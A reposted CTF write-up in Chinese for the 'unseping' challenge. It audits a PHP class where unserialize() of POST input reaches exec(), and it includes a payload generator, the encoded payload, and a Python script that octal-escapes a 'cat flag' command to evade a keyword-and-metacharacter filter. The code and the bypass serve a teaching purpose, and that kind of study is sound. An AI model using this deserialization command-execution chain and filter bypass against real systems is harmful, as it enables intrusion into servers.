攻防世界unseping

2023-10-31

知识点

1.php反序列化漏洞原理。

2.php代码审计。

3.waf的绕过。

须知的php函数与关键词

1.private:对变量具有修饰作用。如public 表示全局,类内部外部子类都可以访问;private表示私有的,只有本类内部可以使用;

2.function:是用来定义函数,要注意的是当函数名前面有"__"的时候如__construct,__wakeup(),那这样的函数可能是一种特别的函数比如有可能是魔法函数。ping()像这样的前面没有下划线的函数就没有什么特殊意义就是自定义的函数。

3.__wakeup():unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,注意类中的函数也叫做方法

4.__destruct():会在对象结束运行结束时调用。

5.$this:用来指定当前所在的对象,如$this->method就是当前对象中的method属性。

6.in_array():用来遍历的函数并进行比较,如5.in_array($this->method, array("ping"))就是比较$this->method的内容与array("ping")数组中的ping元素是否一样。

7.call_user_func_array(X,Y):是一个调用的函数,有基本的两个参数,X是本对像中的将要被调用的函数,Y传入到这个函数里面的参数。如call_user_func_array(array($this, $this->method), $this->args)就是调用array($this, $this->method)这个所指定的函数,然后把$this->args这里面的内容作为参数传递进去。

8.preg_match_all(X,Y,Z):正则表达式的比较函数Z基本的有三个参数,第一个是想要比较的内容第二个是用什么内容进行比较,第三个是数组,满足条件的就会被保存到这里。入if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)),preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/"是被比较的,是比较的内容,$pat_array满足条件的会被保存到这个数组里。

9.foreach(X,Y):用来提取数组里面的值,X就是数组,那数组里面的值会被挨个赋值给Y。如foreach($this->args as $k => $v),$this->args就是要被遍历的数组,$k便是数组的第几位$v表示这一位的值。

10.@unserialize(base64_decode($ctf)):把变量ctf的值进行base64进行解码,并反序列化。

代码审计

<?php
highlight_file(__FILE__);  

class ease{
    
    private $method;   //私有变量
    private $args; 
    function __construct($method, $args) {  //把变量进行初始化
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){       //对象运行快结束的是后会调用这个函数
        if (in_array($this->method, array("ping"))) {   //满足这个条件才执行下面语句
            call_user_func_array(array($this, $this->method), $this->args);  //用来调用ping()函数
        }
    } 
 
    function ping($ip){       //用来执行系统命令的函数
        exec($ip, $result);
        var_dump($result);   //输出执行内容
    }

    function waf($str){      //waf过滤
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){   反序列化后调用这个函数,
        foreach($this->args as $k => $v) {   //把反序列化对象中的args变量拿出来处理
            $this->args[$k] = $this->waf($v);   //这个args是当前类中的变量所有上面的$this->args与下面的$this->args所指代的不一样。
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

代码思路

对传来的参数进行解码,反序列化形成一个对象,触发__wakeup()函数,并将反序列化生成的对象的变量内容赋值给当前所在的类中的变量。

function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   

先赋值给当前类中的waf函数,看看是否满足waf函数过滤条件,若满足条件再赋值给这个数组$this->args,再通过__destruct()函数

__destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

看看反序列化对象中的method变量是否等于"ping",若等于就调用array($this, $this->method)这个函数,也就是ping()函数(因为这语句的的意思是当前类(this)中的ping()函数( $this->method内容是"ping")并将 $this->args的内容作为参数传到这个函数里面。最后执行ping()函数:

function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

exec($ip, $result);是将$ip的内容作为系统命令执行,执行的结果放到$result中。var_dump($result);并打印出来。

操作

1.构造payload生成代码如下

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
 
$o=new ease("ping",array("ifconfig"));
$s = serialize($o);
echo base64_encode($s);
?>

取最后代码运行结果:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo4OiJpZmNvbmZpZyI7fX0=

 发现思路分析正确,现在开始绕过,用python脚本进行绕过

                         

str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
    #对字符先转换为ASCII码,再转换为八进制
    r = oct(ord(i))
    #这个主要是为了将八进制前面的0o替换掉
    r=str(r).replace("0o","")
    arr.append(r)
s = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
p=s.join(arr)
print(p)

把结果再进行base64加密,然后post传入。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

攻防世界unseping 的相关文章

  • 关于eclipse tomcat启动但项目无法启动

    1 报错信息 没有加载spring web引起tomcat自己有启动但是项目没有启动 具体的截图 可以清楚的看到tomcat虽然启动了 但是没有项目启动的信息 2 解决方法 我们在将项目添加至tomcat时会发现该项目并没有将web包加载
  • 解决ubuntu 上QT无法被输入中文的BUG

    项目场景 使用QT FOR ROS在Ubuntu上开发ROS项目 问题描述 不管如何切换输入法的中英文都无法在QT上输入中文 只能输入英文 我用的是fcitx 搜狗输入法 原因分析 我认为时因为缺少了一些依赖或者缺少了一些支持中文的包 解决
  • button效果:从右往左慢慢渐变

    题记 我们工作中会出现一些按钮需要用一些2D的效果 用css会发现很容易做到这样的效果 大部分的思路通过过渡 2D hover事件 以及overflow的之间配合实现button按钮的背景颜色的渐变效果 下边是相关的一些代码
  • AndroidManifest详解之Application(有图更好懂)

    能够包含的标签
  • 如何有效进行RLHF的数据标注?

    编者按 随着大语言模型在自然语言处理领域的广泛应用 如何从人类反馈进行强化学习 RLHF 已成为一个重要的技术挑战 并且RLHF需要大量高质量的人工数据标注 这是一个非常费力的过程 本文作者在数据标注领域具有丰富经验 他在本文深入探讨了RL
  • 【大数据】Kafka 入门指南

    Kafka 入门指南 1 Kafka 简介 2 Kafka 架构 3 分区与副本 4 偏移量 5 消费者组 6 总结 1 Kafka 简介 Apache Kafka 是一种高吞吐 分布式的流处理平台 由 LinkedIn 开发并于 2011

随机推荐

  • makefile和make简单笔记

    1 makefile和make的关系 make命令相当于makefile的解析器 2 makefile基本格式 3 make的简单原理 linux文件的数据部分会记录文件的访问和修改时间 atime mtime ctime make会获取依
  • Log4j2 RCE漏洞及靶场搭建

    漏洞简介 Apache Log4j2是一款Java日志框架 是Log4j 的升级版 可以控制每一条日志的输出格式 通过定义每一条日志信息的级别 能够更加细致地控制日志的生成过程 该漏洞是由于Apache Log4j2某些功能存在递归解析功能
  • Linux网络服务:网络设置与基础服务1

    目录 一 理论 1 查看网络配置 2 测试网络连接 3 使用网络配置命令 4 修改网络配置文件 5 DHCP服务 二 实验 1 本地DHCP服务器搭建 2 问题 一 理论 1 查看网络配置 1 使用ifconfig命令查看网络接口地址 主机
  • 服务器机房监控系统研究,远程机房动环监控系统的设计与实现

    摘要 随着国家对电信建设的大力推进 各地的基站机房越来越多 企业也开始通过自建机房来提高网络服务质量 机房内汇聚大量高精密电子设备 一旦这些电子器件发生故障 例如机房温湿度偏高造成电路板老化或者失灵等等 如果没有及时监管到位 极易造成运行设
  • 【芯片设计封装与测试】芯片测试目的、方法、分类及案例

    目录 1 芯片测试概述 目的 方法 1 1 测试在芯片产业价值链上的位置 2 测试如何体现在设计的过程中 2 1 半导体测试定义与基本工作机制 2 2 半导体测试环节分类及对应设备 2 3 设计验证 3 测试的各种类型 3 1 抽样测试和生
  • 数值数据表示(一) ※

    第1关 基础习题 1 1 请编写一个Python程序 实现十进制整数到二进制整数的转换 2 请编写一个Python程序 实现十进制小数到二进制小数的转换 请注意 length参数用于指定转换后二进制位数 3 请编写一个Python程序 实现
  • Android开发黑白灰模式和夜间模式设置

    接口数据来源鸿洋大神 玩安卓 网站 https wanandroid com 黑白灰正常模式和黑白灰夜间模式截图 夜间模式与正常模式截图 黑白灰与原色模式设置 设置灰白色 protected void setGrayScreen Paint
  • 解决thinkphp关闭调试模式404报错问题

    在使用Thinkphp框架进行开发项目 往往在上线之前 需要关闭调试模式 但这时候发现原本访问正常的网页 在关闭调试模式之后无法访问 报错404 问题回顾 当设置项目开启调试模式时 define APP DEBUG True 访问服务 正常
  • Unity3d之多人游戏与网络(联机冰球对战)

    Unity3d之联机冰球对战 1 游戏简介 一个简单的联机冰球对战小游戏 双方可在自己的视角分别控制 2 效果 静态图 动态图 3 预备知识 Unity网络编程相关组件 3 1 浅谈个人对多人游戏与网络的一些看法 网络游戏可以说是目前最吸引
  • Unity 通过Mesh网格渲染绘制图形与字体

    任何一个模型都是由若干网格面组成 而每一个面又有若干个三角形组成 也就是说 模型是由若干个三角形面组成的 字体和图片也是如此 组成简单模型的组件需要包含以下几个 MeshImage脚本代码如下 using UnityEngine using
  • 针对流只能消费一次的处理方案

    最近在处理文件mimeType有关问题时 因为流只能消费一次的问题 引发了一些bug Stream流只能被 消费 一次 一旦遍历过就会失效 就像容器的迭代器那样 想要再次遍历必须重新生成 遇到这个问题 第一反应是尝试深拷贝 使用hutool
  • Unity2D横版游戏地形生成

    演示视频 横版地形生成 功能 将地形素材赋值给脚本 脚本会生成对应的地形素材 可以控制生成素材的高度 生成的时间间隔 是否每次随机时间生成 会有一个范围值来进行控制 Mountain 01 transf为山脉生成的起始位置 后续的生成变化都
  • c语言12与31进行异或,C语言版DES算法.doc

    C语言版DES算法 明文可以通过MAX设置明文的最大位数 明文和密钥中都可以有空格 完成者 周红福 邮箱 zhouhongfu2012 163 com include include define MAX 100 初始置换表int Ip 6
  • 地图上分成一块一块区域 高德地图_干货

    经常有开发者提问 是否可以只显示某个国家 某个省区 甚至某个小区的地图信息 以前我们只能遗憾地告诉你 不行 或者使用一个带洞的无限大多边形作为遮罩来实现相似效果 可是今天 我们开发了更加便捷的方式 于是 你可以做到了 在专业GIS领域 这种
  • [培训-DSP快速入门-3]:C54x DSP内存资源与内存空间分布

    作者主页 文火冰糖的硅基工坊 https blog csdn net HiWangWenBing 本文网址 https blog csdn net HiWangWenBing article details 118958134 目录 第1部
  • Python常用库的用法介绍都给大家整理出来啦,非常实用,建议收藏

    前言 随着大数据和人工智能的发展 Python也与多种科技深深绑定 比如自动化测试 运维 爬虫 数据分析 机器学习 金融领域 后端开发 云计算 游戏开发都有涉及 万丈高楼平地起 Python这座大厦能够如此强大 就是拥有强大的成千上万的库的
  • 3.1 继承QMainWindow类(Subclassing QMainWindow)

    3 1 继承QMainWindow类 一个应用程序的主窗口要从QMainWindow继承 我们在第二章看到的创建对话框的方法可以用来创建主窗口 QDialog和QMainWindow都是继承自QWidget类 主窗口可用Qt Designe
  • Android将网络图片保存到本地

    package io flutter plugins webviewflutter import android content ContentResolver import android content ContentValues im
  • 开发一个坐标计算工具, A表示向左移动,D表示向右移动,W表示向上移动,S表示向下移动。从(0,0)点开始移动。

    题目描述 开发一个坐标计算工具 A表示向左移动 D表示向右移动 W表示向上移动 S表示向下移动 从 0 0 点开始移动 从输入字符串里面读取一些坐标 并将最终输入结果输出到输出文件里面 输入 合法坐标为A 或者D或者W或者S 数字 两位以内
  • 攻防世界unseping

    知识点 1 php反序列化漏洞原理 2 php代码审计 3 waf的绕过 须知的php函数与关键词 1 private 对变量具有修饰作用 如public 表示全局 类内部外部子类都可以访问 private表示私有的 只有本类内部可以使用